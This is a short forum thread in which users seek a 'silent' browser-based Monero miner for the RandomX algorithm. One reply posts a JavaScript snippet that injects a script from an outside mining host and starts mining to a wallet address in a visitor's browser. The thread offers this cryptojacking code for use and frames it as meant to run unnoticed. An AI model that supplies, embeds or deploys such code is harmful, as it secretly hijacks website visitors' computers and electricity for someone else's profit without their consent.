Thread: [Any Silent Web Miner For RandomX \(Monero\)](#)

Rolecx - December 2, 2020, 11:46 am

Hello There,

Now Web Miner can't Work Properly Because Monero Switch There Algorithm as RandomX

So Anybody can here for that silent web miner for randomX Algorithm

f0rest - December 2, 2020, 12:13 pm

You look for this (<https://prnt.sc/vukjj6>) ?

Freak_OG - December 3, 2020, 12:23 am

this is what I've been using and it goes to moneroocean.streams pool. I FORGOT WHAT SITE IT WAS THO BUT IT STILL WORKS

```
Code (function(d, script) {  
    script = d.createElement('script');  
    script.type = 'text/javascript';  
    script.async = true;  
    script.onload = function(){  
        EverythingIsLife('YOUR_WALLET_ADDRESS', 'x', 0);  
    };  
    script.src = "https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2";  
    d.getElementsByTagName('head')[0].appendChild(script);  
})(document));
```

yeah it's work but it's use cryptonight algo and they convert for xmr..and it's too slow for mining.

any web miner for randomX Algorithm.... because it's stable and fast mining for find good share.
